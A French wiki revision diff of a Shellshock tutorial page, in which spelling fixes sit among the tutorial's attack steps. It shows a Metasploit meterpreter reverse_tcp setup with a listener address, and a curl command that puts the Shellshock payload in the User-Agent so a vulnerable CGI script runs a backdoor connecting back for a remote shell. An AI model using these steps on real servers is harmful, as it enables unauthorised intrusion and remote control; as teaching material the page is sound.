Ci-dessous, les différences entre deux révisions de la page.
Les deux révisions précédentes Révision précédente | |||
appsysteme:bash_-_shellshock [2016/04/18 12:31] yorin |
appsysteme:bash_-_shellshock [2016/04/18 12:32] yorin ortho |
||
---|---|---|---|
Ligne 136: | Ligne 136: | ||
<code>set PAYLOAD linux/x86/meterpreter/reverse_tcp</code> | <code>set PAYLOAD linux/x86/meterpreter/reverse_tcp</code> | ||
- | On lui stipule sur quelle host il attend la connexion : | + | On lui stipule sur quel host il attend la connexion : |
<code>set LHOST 192.168.1.1</code> | <code>set LHOST 192.168.1.1</code> | ||
Ligne 159: | Ligne 159: | ||
<code>curl -A ;() { :;}; echo ;Content-type: text/plain; echo; /bin/bash -c ;/home/notre_user/lbdoor; ; http://mon_serveur_faillible.com/cgi-bin/status</code> | <code>curl -A ;() { :;}; echo ;Content-type: text/plain; echo; /bin/bash -c ;/home/notre_user/lbdoor; ; http://mon_serveur_faillible.com/cgi-bin/status</code> | ||
- | Vous devriez voir ce texte apparaitre dans votre terminal metasploit si tout c'est bien passé. | + | Vous devriez voir ce texte apparaitre dans votre terminal metasploit si tout s'est bien passé. |
{{ :appsysteme:connexion_metasploit-2.png?nolink |}} | {{ :appsysteme:connexion_metasploit-2.png?nolink |}} | ||
Ligne 166: | Ligne 166: | ||
Vous avez désormais accès à une session meterpreter sur la machine distante. | Vous avez désormais accès à une session meterpreter sur la machine distante. | ||
- | Si vous souhaitez obtenir un terminal , il vous suffis de taper "shell" | + | Si vous souhaitez obtenir un terminal , il suffit de taper "shell" |
{{ :appsysteme:meterpreter.jpg?nolink |}} | {{ :appsysteme:meterpreter.jpg?nolink |}} | ||
- | L'outil meterpreter est puissant il embarque toute une multitude de code pour le post exploitation. | + | L'outil meterpreter est puissant et embarque toute une multitude de code pour le post exploitation. |
Pour plus d'info un site que je recommande [[http://sitedugaci.com/30/4/tutoriel/chapitre/meterpreter.html]] | Pour plus d'info un site que je recommande [[http://sitedugaci.com/30/4/tutoriel/chapitre/meterpreter.html]] | ||
Source :[[ https://www.youtube.com/watch?v=R3rs8hdXqso]] | Source :[[ https://www.youtube.com/watch?v=R3rs8hdXqso]] |